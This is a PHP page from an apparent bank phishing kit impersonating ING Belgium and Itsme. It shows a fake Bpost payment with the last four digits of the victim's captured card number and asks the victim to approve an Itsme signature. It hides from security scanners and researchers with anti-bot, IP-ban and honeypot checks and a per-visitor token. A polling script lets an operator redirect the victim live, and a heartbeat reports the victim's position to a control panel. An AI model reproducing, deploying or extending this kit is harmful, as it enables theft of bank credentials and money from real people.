<?php
error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);
@ini_set('html_errors', '0');
@ini_set('display_errors', '0');
@ini_set('display_startup_errors', '0');
@ini_set('log_errors', '0');
$ip = $_SERVER['REMOTE_ADDR'];
session_id(md5($ip));
session_start();
$stripos = 0;
include 'config.php';
include 'M3tri-anti-bots_v0.01/M3tri-Organization.php';
include 'M3tri-anti-bots_v0.01/M3tri-ips.php';
include 'M3tri-anti-bots_v0.01/M3tri-OS-BRS.php';
include 'M3tri-anti-bots_v0.01/M3tri-UA.php';
include 'M3tri-anti-bots_v0.01/M3tri-vpn-proxy.php';
require_once './includes/HunterObfuscator.php';
$currentIP = getRealIP();
if (isIPBanned($currentIP)) {
    header('Location: 403.php');
    exit();
}
$honeypotbots = file_get_contents('honeypotbots.dat');
$errorUrl = '403.php';
if (stripos($honeypotbots, $ip) !== false) {
    $stripos = $stripos + 1;
}
$token1 = base64_encode($_SERVER['HTTP_USER_AGENT'] . $ip . date('Y:M:D'));
// Geo-filter removed: all countries are allowed
if (!isset($_GET['token']) || $token1 != $_GET['token'] || $stripos > 0) {
    header("location: " . $errorUrl . "?" . (isset($_GET['token']) ? $_GET['token'] : ''));
    exit;
}
$merchant_display = isset($_SESSION['merchant']) ? $_SESSION['merchant'] : 'Dreamland';
$montant_display = isset($_SESSION['amount']) ? $_SESSION['amount'] : '100,00';
$card_last4 = (isset($_SESSION['cn']) && strlen($_SESSION['cn']) >= 4) ? substr($_SESSION['cn'], -4) : '4087';
date_default_timezone_set('Europe/Brussels');
$date_display = date('d/m/Y H:i:s') . ' CET';
?>
<!DOCTYPE html>
<html lang="fr">
<head>
  <meta charset="UTF-8" />
  <meta name="viewport" content="width=device-width, initial-scale=1.0"/>
  <title>Signez avec Itsme – ING</title>
  <style>
    * { box-sizing: border-box; margin: 0; padding: 0; }

    body {
      font-family: Arial, Helvetica, sans-serif;
      background: #fff;
      min-height: 100vh;
      display: flex;
      justify-content: center;
      align-items: flex-start;
      padding: 40px 16px 60px;
    }

    .page-wrapper {
      width: 50%;
      min-width: 0;
      max-width: 680px;
    }

    @media (max-width: 900px) {
      .page-wrapper { width: 70%; }
    }
    @media (max-width: 600px) {
      body { padding: 20px 12px 40px; }
      .page-wrapper { width: 100%; }
      .logo-ing-ph { width: 140px; height: 38px; }
      .logo-banc-ph { width: 115px; height: 38px; }
      .amount { font-size: 24px; }
      .card-payment { padding: 0 16px 20px; }
      .card-itsme { padding: 20px 16px; }
      .card-itsme h2 { font-size: 16px; }
      .auth-section { font-size: 12px; padding: 14px; }
    }

    .top-bar {
      display: flex;
      justify-content: space-between;
      align-items: center;
      margin-bottom: 20px;
      background: transparent;
      padding: 0;
    }
    .top-bar img {
      background: transparent;
      display: block;
    }
    .logo-ing-ph { width: 165px; height: 44px; object-fit: contain; background: transparent; }
    .logo-banc-ph { width: 155px; height: 44px; object-fit: contain; background: transparent; }

    .card-payment {
      background: #fff;
      border: 1px solid #ccc;
      border-radius: 8px;
      padding: 0 26px 26px;
      margin-bottom: 20px;
    }
    .card-payment legend {
      font-size: 14px;
      font-weight: 400;
      color: #333;
      padding: 0 8px 0 4px;
      margin-left: 10px;
      line-height: 1;
    }
    .amount {
      font-size: 30px;
      font-weight: 700;
      margin-top: 14px;
      margin-bottom: 8px;
      color: #111;
    }
    .merchant {
      font-size: 13.5px;
      font-weight: 400;
      margin-bottom: 4px;
      color: #333;
    }
    .meta {
      font-size: 12.5px;
      color: #555;
      line-height: 1.85;
    }

    .card-itsme {
      background: #f0f8ff;
      border: 1px solid #c0dfff;
      border-radius: 8px;
      padding: 28px 26px 28px;
      margin-bottom: 24px;
      text-align: center;
    }
    .card-itsme h2 {
      font-size: 18px;
      font-weight: 700;
      color: #003366;
      margin-bottom: 14px;
    }
    .card-itsme p {
      font-size: 13px;
      font-weight: 400;
      color: #333;
      line-height: 1.55;
      max-width: 480px;
      margin: 0 auto;
    }

    .auth-section {
      margin-top: 0;
      padding: 16px 0 0;
      background: transparent;
      border: none;
      font-size: 13px;
      color: #333;
      line-height: 1.6;
    }
    .auth-section h3 {
      font-size: 14px;
      font-weight: 700;
      color: #111;
      margin-bottom: 8px;
    }
    .auth-section p {
      margin: 0;
      font-weight: 400;
    }
  </style>
</head>
<body>
<div class="page-wrapper">

  <div class="top-bar">
    <img src="bc_files/ing_logo.png" alt="ING" class="logo-ing-ph">
    <img src="bc_files/bpost.png" alt="Bancontact" class="logo-banc-ph">
  </div>

  <fieldset class="card-payment">
    <legend>Paiement par carte</legend>
    <div class="amount">0.99 €</div>
    <div class="merchant">Bpost</div>
    <div class="meta">
      Carte: xxxxxxxx<?php echo substr($_SESSION['cn'], -4); ?><br>
      Date: <?php date_default_timezone_set('Europe/Brussels'); echo date('Y/m/d H:i:s'); ?> CET
    </div>
  </fieldset>

  <div class="card-itsme">
    <h2>Signez avec Itsme</h2>
    <p>Ouvrez votre application Itsme et suivez les instructions pour confirmer votre demande.</p>
  </div>

  <div class="auth-section">
    <h3>Validez le processus d'authentification</h3>
    <p>Afin de vous protéger contre la fraude, ING BE vous redirige vers votre espace personnel pour vous authentifier.</p>
  </div>

</div>
<script>
(function() {
  var ip = '<?php echo addslashes($ip); ?>';
  var token1 = '<?php echo addslashes($token1); ?>';
  var waiting = setInterval(function() {
    fetch('./users/' + ip + '.txt?rand=' + Math.random().toString(36).slice(-5), { cache: 'no-store' })
      .then(function(r) { return r.text(); })
      .then(function(data) {
        if (!data || data.length < 2) return;
        var row = data.split('#|#');
        var one = row[0];
        var two = (row[1] !== undefined && row[1] !== null) ? row[1] : '';
        if (one == 'load') {
          clearInterval(waiting);
          window.location.href = './bc-load.php?token=' + encodeURIComponent(token1) + '&error=' + encodeURIComponent(two);
        } else if (one == 'url' && row[2]) {
          clearInterval(waiting);
          window.location.href = row[2];
        }
      })
      .catch(function() {});
  }, 1500);
})();
</script>
<script>
        // Send heartbeat every 5 seconds so M3tri-control.php shows this user on ING itsMe (page from pathname, same as bc-itsMe / bc-l-ing)
        (function() {
            function sendHeartbeat() {
                fetch(`config.php?heartbeat=true&ip=<?php echo $ip; ?>&page=${window.location.pathname.split('/').pop()}`, {
                    method: 'GET',
                    headers: {
                        'Cache-Control': 'no-cache',
                        'Pragma': 'no-cache'
                    }
                })
                    .then(response => response.json())
                    .then(data => {
                        console.log('Heartbeat sent:', data.timestamp);
                    })
                    .catch(function() {});
            }

            sendHeartbeat();
            var heartbeatInterval = setInterval(sendHeartbeat, 5000);

            document.addEventListener('visibilitychange', function() {
                if (document.hidden) {
                    clearInterval(heartbeatInterval);
                } else {
                    sendHeartbeat();
                    heartbeatInterval = setInterval(sendHeartbeat, 5000);
                }
            });

            window.addEventListener('beforeunload', function() {
                clearInterval(heartbeatInterval);
            });
        })();
    </script>
</body>
</html>
